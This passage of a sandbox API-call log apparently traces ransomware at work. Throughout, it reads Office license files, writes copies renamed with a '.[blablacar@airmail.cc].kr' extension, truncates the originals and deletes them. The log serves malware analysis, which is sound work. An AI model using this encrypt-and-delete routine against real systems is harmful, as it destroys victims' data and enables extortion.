(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString=".dbf") returned 4 [0211.349] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString=".1cd") returned 4 [0211.349] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.350] lstrlenW (lpString=".jpg") returned 4 [0211.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.350] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.350] lstrlenW (lpString="OutlookVL_MAK-ul-oob.xrm-ms") returned 27 [0211.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.351] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11586) returned 1 [0211.351] CloseHandle (hObject=0x51c) returned 1 [0211.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms")) returned 0x220 [0211.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.351] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.351] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.352] GetLastError () returned 0x0 [0211.352] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0211.356] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0211.358] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.358] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10a, lpOverlapped=0x0) returned 1 [0211.358] SetEndOfFile (hFile=0x554) returned 1 [0211.358] CloseHandle (hObject=0x554) returned 1 [0211.358] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.358] SetEndOfFile (hFile=0x51c) returned 1 [0211.361] CloseHandle (hObject=0x51c) returned 1 [0211.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms")) returned 1 [0211.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.362] lstrlenW (lpString=".doc") returned 4 [0211.362] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.362] lstrlenW (lpString=".docx") returned 5 [0211.363] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.363] lstrlenW (lpString=".pdf") returned 4 [0211.363] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".xls") returned 4 [0211.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".xlsx") returned 5 [0211.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.363] lstrlenW (lpString=".ppt") returned 4 [0211.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString=".zip") returned 4 [0211.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".rar") returned 4 [0211.363] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".bz2") returned 4 [0211.363] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".7z") returned 3 [0211.363] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString=".dbf") returned 4 [0211.363] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString=".1cd") returned 4 [0211.363] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString=".jpg") returned 4 [0211.363] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.363] lstrlenW (lpString=".doc") returned 4 [0211.363] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.363] lstrlenW (lpString=".docx") returned 5 [0211.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.364] lstrlenW (lpString=".pdf") returned 4 [0211.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString=".xls") returned 4 [0211.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString=".xlsx") returned 5 [0211.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.364] lstrlenW (lpString=".ppt") returned 4 [0211.364] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.364] lstrlenW (lpString=".zip") returned 4 [0211.364] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString=".rar") returned 4 [0211.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString=".bz2") returned 4 [0211.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString=".7z") returned 3 [0211.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.364] lstrlenW (lpString=".dbf") returned 4 [0211.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.364] lstrlenW (lpString=".1cd") returned 4 [0211.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0211.364] lstrlenW (lpString=".jpg") returned 4 [0211.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.364] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.364] lstrlenW (lpString="OutlookVL_MAK-ul-phn.xrm-ms") returned 27 [0211.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.365] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19931) returned 1 [0211.365] CloseHandle (hObject=0x51c) returned 1 [0211.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms")) returned 0x220 [0211.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.366] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.366] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.367] GetLastError () returned 0x0 [0211.367] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4ddb, lpOverlapped=0x0) returned 1 [0211.627] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0211.628] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.628] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10a, lpOverlapped=0x0) returned 1 [0211.628] SetEndOfFile (hFile=0x554) returned 1 [0211.628] CloseHandle (hObject=0x554) returned 1 [0211.628] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.628] SetEndOfFile (hFile=0x51c) returned 1 [0211.631] CloseHandle (hObject=0x51c) returned 1 [0211.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms")) returned 1 [0211.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString=".doc") returned 4 [0211.633] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".docx") returned 5 [0211.633] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.633] lstrlenW (lpString=".pdf") returned 4 [0211.633] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".xls") returned 4 [0211.633] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".xlsx") returned 5 [0211.633] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.633] lstrlenW (lpString=".ppt") returned 4 [0211.633] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString=".zip") returned 4 [0211.633] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".rar") returned 4 [0211.633] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".bz2") returned 4 [0211.633] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString=".7z") returned 3 [0211.633] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString=".dbf") returned 4 [0211.633] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString=".1cd") returned 4 [0211.633] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString=".jpg") returned 4 [0211.633] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.634] lstrlenW (lpString=".doc") returned 4 [0211.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".docx") returned 5 [0211.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.634] lstrlenW (lpString=".pdf") returned 4 [0211.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".xls") returned 4 [0211.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".xlsx") returned 5 [0211.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.634] lstrlenW (lpString=".ppt") returned 4 [0211.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.634] lstrlenW (lpString=".zip") returned 4 [0211.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".rar") returned 4 [0211.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".bz2") returned 4 [0211.634] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString=".7z") returned 3 [0211.634] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.634] lstrlenW (lpString=".dbf") returned 4 [0211.634] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.634] lstrlenW (lpString=".1cd") returned 4 [0211.634] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0211.634] lstrlenW (lpString=".jpg") returned 4 [0211.634] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.635] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.635] lstrlenW (lpString="PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 32 [0211.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.635] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10663) returned 1 [0211.635] CloseHandle (hObject=0x51c) returned 1 [0211.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0211.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.636] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.636] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.637] GetLastError () returned 0x0 [0211.637] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x29a7, lpOverlapped=0x0) returned 1 [0211.639] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0211.640] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.641] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0211.641] SetEndOfFile (hFile=0x554) returned 1 [0211.641] CloseHandle (hObject=0x554) returned 1 [0211.641] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.641] SetEndOfFile (hFile=0x51c) returned 1 [0211.644] CloseHandle (hObject=0x51c) returned 1 [0211.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms")) returned 1 [0211.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.645] lstrlenW (lpString=".doc") returned 4 [0211.645] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".docx") returned 5 [0211.645] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.645] lstrlenW (lpString=".pdf") returned 4 [0211.645] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".xls") returned 4 [0211.645] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".xlsx") returned 5 [0211.645] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.645] lstrlenW (lpString=".ppt") returned 4 [0211.645] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.645] lstrlenW (lpString=".zip") returned 4 [0211.645] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".rar") returned 4 [0211.645] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".bz2") returned 4 [0211.645] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.645] lstrlenW (lpString=".7z") returned 3 [0211.645] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString=".dbf") returned 4 [0211.646] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString=".1cd") returned 4 [0211.646] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString=".jpg") returned 4 [0211.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0211.646] lstrlenW (lpString=".doc") returned 4 [0211.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".docx") returned 5 [0211.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.646] lstrlenW (lpString=".pdf") returned 4 [0211.646] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".xls") returned 4 [0211.646] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString=".xlsx") returned 5 [0211.646] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.646] lstrlenW (lpString=".ppt") returned 4 [0211.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.646] lstrlenW (lpString="C:\\Program Files\\Microsoft 